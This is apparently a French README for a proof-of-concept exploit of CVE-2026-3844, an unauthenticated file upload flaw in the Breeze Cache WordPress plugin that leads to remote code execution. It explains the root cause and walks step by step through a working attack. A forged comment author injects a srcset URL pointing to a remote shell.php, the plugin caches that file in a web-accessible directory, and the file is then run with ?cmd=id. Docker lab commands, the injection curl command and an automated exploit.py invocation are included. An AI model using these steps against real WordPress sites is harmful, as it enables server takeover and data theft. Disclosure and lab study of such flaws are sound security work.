
Preuve de concept d'exploitation pour CVE-2026-3844, un téléversement de fichier arbitraire non authentifié menant à l'exécution de code à distance dans Breeze Cache <= 2.4.4. Inclut un laboratoire Docker et un script d'exploitation automatisé.
| Champ | Valeur |
|---|---|
| CVE | CVE-2026-3844 |
| CVSS | 9.8 Critique (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-434 — Téléversement sans restriction de fichier de type dangereux |
| Plugin | Breeze Cache par Cloudways |
| Versions concernées | Toutes les versions jusqu'à 2.4.4 incluse |
| Version corrigée | 2.4.5 (changeset 3511463) |
| Installations | Plus de 400 000 installations WordPress actives |
| Découvert par | Hung Nguyen (bashu) |
| Divulgué | 2026-04-23 |
La fonction fetch_gravatar_from_remote() dans inc/class-breeze-cache-cronjobs.php télécharge
des URL distantes et les enregistre dans un répertoire accessible via le web en utilisant le
nom de fichier et l'extension d'origine de l'URL. Il n'y a aucune validation du type MIME,
aucune liste blanche d'extensions, et aucune inspection du contenu.
Lorsque le paramètre « Host Files Locally - Gravatars » est activé, le plugin s'accroche au filtre
get_avatar de WordPress via breeze_replace_gravatar_image(). Cette fonction utilise une
expression régulière pour extraire les URL des attributs srcset et src dans le HTML de
l'avatar. Un attaquant peut injecter un attribut srcset malveillant en publiant un commentaire
avec un nom d'auteur forgé, ce qui amène le plugin à télécharger et mettre en cache un fichier
PHP arbitraire.
Ce qui manque :
.php, .phtml, .phar tous acceptés)Attaquant WordPress + Breeze 2.4.4
| |
| 1. POST /wp-comments-post.php |
| author=x srcset=http://evil/s.php |
| ------------------------------------> |
| | Commentaire enregistré
| |
| 2. GET /?p=1 |
| ------------------------------------> |
| | Le filtre get_avatar se déclenche
| | breeze_replace_gravatar_image()
| | extrait l'URL srcset via regex
| | appelle fetch_gravatar_from_remote()
| |
| 3. download_url() |
| http://evil/s.php |
| <----------------------------- |
| Contenu du fichier PHP |
| -----------------------------> |
| | Enregistré dans :
| | wp-content/cache/breeze-extra/
| | gravatars/s.php
| |
| 4. GET /wp-content/cache/breeze-extra |
| /gravatars/s.php?cmd=id |
| ------------------------------------> |
| | PHP s'exécute en tant que www-data
| uid=33(www-data) |
| <------------------------------------ |
Cette preuve de concept (PoC) comprend un environnement Docker autonome avec :
requests (pip install requests)cd docker/
docker compose up -d --build
Attendre environ 30 secondes que WordPress s'initialise. Vérifier :
curl -s http://localhost:8088/wp-content/plugins/breeze/readme.txt | grep "Stable tag"
# Attendu : Stable tag: 2.4.4
La configuration Docker automatise :
breeze-store-gravatars-locally: 1)curl -X POST "http://localhost:8088/wp-comments-post.php" \
-d "comment_post_ID=1&author=x+srcset=http://PAYLOAD_IP:9999/shell.php&[email protected]&comment=test&submit=Post+Comment"
Remplacez PAYLOAD_IP par l'IP du conteneur de charge utile :
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' \
$(docker compose -f docker/docker-compose.yml ps -q payload)
Réponse attendue : redirection HTTP 302 vers la page de l'article.
Visitez la page de l'article pour que WordPress affiche l'avatar du commentaire, ce qui déclenche
le filtre get_avatar de Breeze et télécharge la charge utile :
curl -s "http://localhost:8088/?p=1" > /dev/null
Le HTML rendu montre que Breeze a extrait le srcset injecté et mis en cache la charge utile :
La charge utile PHP est écrite telle quelle, appartenant à www-data :
cd poc/
pip install requests
python3 exploit.py --target http://localhost:8088 --payload http://PAYLOAD_IP:9999/shell.php